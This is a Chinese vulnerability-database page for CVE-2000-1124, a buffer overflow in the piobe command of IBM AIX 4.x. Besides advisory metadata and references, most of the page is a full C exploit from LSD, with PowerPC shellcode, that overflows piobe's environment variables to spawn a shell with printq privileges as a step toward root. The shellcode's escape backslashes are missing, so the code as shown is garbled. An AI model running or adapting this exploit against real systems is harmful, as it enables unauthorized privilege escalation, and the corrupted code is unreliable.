IBM AIXpiobe命令缓冲区溢出漏洞

IBM AIXpiobe命令缓冲区溢出漏洞

漏洞ID 1106105 漏洞类型 缓冲区溢出
发布时间 2000-12-01 更新时间 2005-05-02
图片[1]-IBM AIXpiobe命令缓冲区溢出漏洞-安全小百科CVE编号 CVE-2000-1124
图片[2]-IBM AIXpiobe命令缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200101-031
漏洞平台 AIX CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/20455
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200101-031
|漏洞详情
IBMAIX4.3.x版本的piobe命令存在缓冲区溢出漏洞。本地用户可以借助超长环境变量提升特权。
|漏洞EXP
/*
source: http://www.securityfocus.com/bid/2037/info

AIX is a variant of the UNIX Operating System, distributed by IBM. A problem exists which can allow a local user elevated priviledges.

The problem exists in the piobe program. Due to the insuffient handling of the PIOSTATUSFILE, PIOTITLE, and PIOVARDIR environment variables, it's possible to overwrite stack variables. This makes it possible for a malicious user to pass specially formatted strings to the program via environment variables, and potentially gain administrative access. 
*/

/*## copyright LAST STAGE OF DELIRIUM dec 2000 poland        *://lsd-pl.net/ #*/
/*## /usr/lib/lpd/piobe                                                      #*/

/*   note: to avoid potential system hang-up please, first obtain the exact   */
/*   AIX OS level with the use of the uname -a or oslevel commands            */

/*   this code gives privilages of a printq group and command shell (without  */
/*   a prompt). from that point euid=root can be gained with the use of our   */
/*   aix_piodmgrsu or aix_digest codes                                        */

#define ADRNUM 3000
#define NOPNUM 16000

char shellcode[]=
    "x7cxa5x2ax79"     /* xor.    r5,r5,r5               */
    "x40x82xffxfd"     /* bnel    <shellcode>            */
    "x7fxe8x02xa6"     /* mflr    r31                    */
    "x3bxffx01x20"     /* cal     r31,0x120(r31)         */
    "x38x7fxffx08"     /* cal     r3,-248(r31)           */
    "x38x9fxffx10"     /* cal     r4,-240(r31)           */
    "x90x7fxffx10"     /* st      r3,-240(r31)           */
    "x90xbfxffx14"     /* st      r5,-236(r31)           */
    "x88x5fxffx0f"     /* lbz     r2,-241(r31)           */
    "x98xbfxffx0f"     /* stb     r5,-241(r31)           */
    "x4cxc6x33x42"     /* crorc   cr6,cr6,cr6            */
    "x44xffxffx02"     /* svca                           */
    "/bin/shxff"
;

char nop[]="x7fxffxfbx78";

main(int argc,char **argv,char **e){
    char buffer[20000],adr[4],*b,*envp[4];
    int i,align;

    printf("copyright LAST STAGE OF DELIRIUM dec 2000 poland  //lsd-pl.net/n");
    printf("/usr/lib/lpd/piobe for aix 4.1 4.2 4.3 4.3.x PowerPC/POWERnn");

    if(argc<2){
        printf("usage: %s 41|42|43|433n",argv[0]);exit(-1);
    }

    switch(atoi(argv[1])){
    case  41: shellcode[55]=0x03;align=2; break;
    case  42: shellcode[55]=0x02;align=0; break;
    case  43: shellcode[55]=0x04;align=0; break;
    case 433: shellcode[55]=0x03;align=0; break;
    default: exit(-1);
    }

    i=0; while(*e++) i+=strlen(*e)+1;
    *((unsigned long*)adr)=(unsigned long)e+(i&~3)-8000;

    envp[0]="PIOSTATUSFILE=lsd";
    envp[1]=buffer;
    envp[2]=&buffer[3500];
    envp[3]=0;

    b=buffer;
    strcpy(b,"PIOVARDIR=");b+=10;
    for(i=0;i<align;i++) *b++=' ';
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    *b=0;

    b=&buffer[3500];
    sprintf(b,"xxx=");b+=4;
    for(i=0;i<3-align;i++) *b++=' ';
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];

    execle("/usr/lib/lpd/piobe","lsd",0,envp);
}
|参考资料

来源:BID
名称:2037
链接:http://www.securityfocus.com/bid/2037
来源:BUGTRAQ
名称:20001201FixedlocalAIXV43vulnerabilities
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=97569466809056&w;=2
来源:XF
名称:aix-piobe-bo(5616)
链接:http://xforce.iss.net/static/5616.php
来源:AIXAPAR
名称:IY12638
链接:http://www-1.ibm.com/support/search.wss?rs=0&q;=IY12638&apar;=only

相关推荐: Mac OS X权限许可和访问控制漏洞

Mac OS X权限许可和访问控制漏洞 漏洞ID 1203544 漏洞类型 未知 发布时间 2002-12-11 更新时间 2002-12-11 CVE编号 CVE-2002-1268 CNNVD-ID CNNVD-200212-005 漏洞平台 N/A CV…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享